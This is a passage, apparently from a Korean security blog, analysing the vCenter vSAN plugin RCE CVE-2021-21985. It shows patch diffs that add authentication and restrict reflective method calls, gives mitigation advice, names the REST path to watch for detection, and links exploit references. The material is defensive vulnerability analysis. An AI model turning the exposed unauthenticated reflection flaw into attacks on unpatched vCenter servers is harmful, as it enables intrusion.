+      <param-value>org.eclipse.virgo.web.dm.ServerOsgiBundleXmlWebApplicationContext</param-value>
+   </context-param>
+
+   <listener>
+      <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
+   </listener>
+
    <!-- Processes application requests -->
    <servlet>
       <servlet-name>springServlet</servlet-name>
@@ -12,7 +27,7 @@

       <init-param>
          <param-name>contextConfigLocation</param-name>
-         <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+         <param-value>/WEB-INF/spring/empy-context.xml</param-value>
       </init-param>

       <!-- The application context needs to be OSGI-enabled in order to look up services -->
@@ -40,4 +55,14 @@
       <url-pattern>/*</url-pattern>
    </filter-mapping>

+   <filter>
+      <filter-name>authenticationFilter</filter-name>
+      <filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
+   </filter>
+
+   <filter-mapping>
+      <filter-name>authenticationFilter</filter-name>
+      <url-pattern>/rest/*</url-pattern>
+   </filter-mapping>
+
 </web-app>
package com.vmware.vsan.client.services;

import com.vmware.vise.usersession.UserSessionService;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.config.AutowireCapableBeanFactory;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;

public class AuthenticationFilter implements Filter {
  private static final Logger logger = LoggerFactory.getLogger(AuthenticationFilter.class);

  @Autowired
  private UserSessionService userSessionService;

  public void init(FilterConfig filterConfig) {
    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(filterConfig.getServletContext());
    AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
    factory.autowireBean(this);
  }

  public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
    if (this.userSessionService.getUserSession() == null) {
      HttpServletRequest httpRequest = (HttpServletRequest)request;
      HttpServletResponse httpResponse = (HttpServletResponse)response;
      logger.warn(String.format("Null session detected for a %s request to %s", new Object[] { httpRequest.getMethod(), httpRequest.getRequestURL() }));
      httpResponse.setStatus(401);
      return;
    }
    filterChain.doFilter(request, response);
  }

  public void destroy() {}
}

 

- 입력 유효성 검사가 com.vmware.vsan.client.services.ProxygenController 클래스에 추가

--- a/unpatched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
+++ b/patched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
@@ -1,151 +1,152 @@
 package com.vmware.vsan.client.services;

 import com.google.common.collect.ImmutableMap;
 import com.google.gson.Gson;
+import com.vmware.proxygen.ts.TsService;
 import com.vmware.vim.binding.vmodl.LocalizableMessage;
 import com.vmware.vim.binding.vmodl.MethodFault;
 import com.vmware.vim.binding.vmodl.RuntimeFault;
 import com.vmware.vsphere.client.vsan.util.MessageBundle;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import org.apache.commons.lang.StringUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.BeansException;
 import org.springframework.beans.factory.BeanFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.multipart.MultipartFile;

 @Controller
 @RequestMapping({"/proxy"})
 public class ProxygenController extends RestControllerBase {
   private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);

   @Autowired
   private BeanFactory beanFactory;

   @Autowired
   private MessageBundle messages;

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
     List<Object> rawData = null;
     try {
       rawData = (List<Object>)body.get("methodInput");
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, null, rawData);
   }

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
     List<Object> data = null;
     try {
       Gson gson = new Gson();
       data = (List<Object>)gson.fromJson(rawData, List.class);
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, files, data);
   }

   private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
     try {
       Object bean = null;
       String beanName = null;
       Class<?> beanClass = null;
       try {
         beanClass = Class.forName(beanIdOrClassName);
         beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
       } catch (ClassNotFoundException classNotFoundException) {
         beanName = beanIdOrClassName;
       }
       try {
         bean = this.beanFactory.getBean(beanName);
       } catch (BeansException beansException) {
         bean = this.beanFactory.getBean(beanClass);
       }
       byte b;
       int i;
       Method[] arrayOfMethod;
       for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
         Method method = arrayOfMethod[b];
-        if (!method.getName().equals(methodName)) {
+        if (!method.getName().equals(methodName) || !method.isAnnotationPresent((Class)TsService.class)) {
           b++;
           continue;
         }
         ProxygenSerializer serializer = new ProxygenSerializer();
         Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
         Object result = method.invoke(bean, methodInput);
         Map<String, Object> map = new HashMap<>();
         map.put("result", serializer.serialize(result));
         return map;
       }
     } catch (Exception e) {
       logger.error("service method failed to invoke", e);
       return handleException(e);
     }
     logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
     return handleException(null);
   }

   private Object handleException(Throwable t) {
     if (t instanceof InvocationTargetException)
       return handleException(((InvocationTargetException)t).getTargetException());
     if (t instanceof java.util.concurrent.ExecutionException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vise.data.query.DataException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vim.vmomi.client.common.UnexpectedStatusCodeException)
       return ImmutableMap.of("error", this.messages.string("util.dataservice.notRespondingFault"));
     if (t instanceof VsanUiLocalizableException) {
       VsanUiLocalizableException localizableException = (VsanUiLocalizableException)t;
       return ImmutableMap.of("error", this.messages.string(
             localizableException.getErrorKey(), localizableException.getParams()));
     }
     LocalizableMessage[] faultMessage = null;
     String vmodlMessage = null;
     if (t instanceof MethodFault) {
       faultMessage = ((MethodFault)t).getFaultMessage();
       vmodlMessage = ((MethodFault)t).getMessage();
     } else if (t instanceof RuntimeFault) {
       faultMessage = ((RuntimeFault)t).getFaultMessage();
       vmodlMessage = ((RuntimeFault)t).getMessage();
     }
     if (faultMessage != null) {
       byte b;
       int i;
       LocalizableMessage[] arrayOfLocalizableMessage;
       for (i = (arrayOfLocalizableMessage = faultMessage).length, b = 0; b < i; ) {
         LocalizableMessage localizable = arrayOfLocalizableMessage[b];
         if (localizable.getMessage() != null && !localizable.getMessage().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getMessage()));
         if (localizable.getKey() != null && !localizable.getKey().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getKey()));
         b++;
       }
     }
     if (StringUtils.isNotBlank(vmodlMessage))
       return ImmutableMap.of("error", vmodlMessage);
     return ImmutableMap.of("error", this.messages.string("vsan.common.generic.error"));
   }

   private String localizeFault(String key) {
     return key;
   }
 }

 

② 보안 패치가 불가할 경우 해당 플러그인을 "호환되지 않음"으로 설정

- UI 내에서 플러그인을 비활성화하여도 공격을 방지하지 않음

- VCHA(vCenter High Availability)를 실행하는 환경의 활성 노드와 수동 노드 모두에서 적용되어야 함

 

VMware Knowledge Base

 

kb.vmware.com

 

※ vCenter Server는 여러 조직과 서비스들이 함께 사용하는 복잡한 운영 환경으로 인해 패치 적용이 어려운 상황

 

3.2 네트워크 측면

① 공격 시도를 탐지할 수 있는 정책 설정 및 적용

- /ui/h5-vsan/rest/*

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21985

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36052

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

https://pentest-tools.com/blog/exploit-vmware-vcenter-rce-cve-2021-21985

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_vcenter_vsan_health_rce.rb

https://blog.alyac.co.kr/3797

- https://cert.360.cn/report/detail?id=931e631529a7025cdd60e60819e4a601

https://github.com/xnianq/cve-2021-21985_exp

https://www.programmersought.com/article/22519046437/

- https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985/rapid7-analysis?referrer=home

https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

- https://kb.vmware.com/s/article/83829

- https://www.kisa.or.kr/20205/form?postSeq=1016&page=1 

+ Recent posts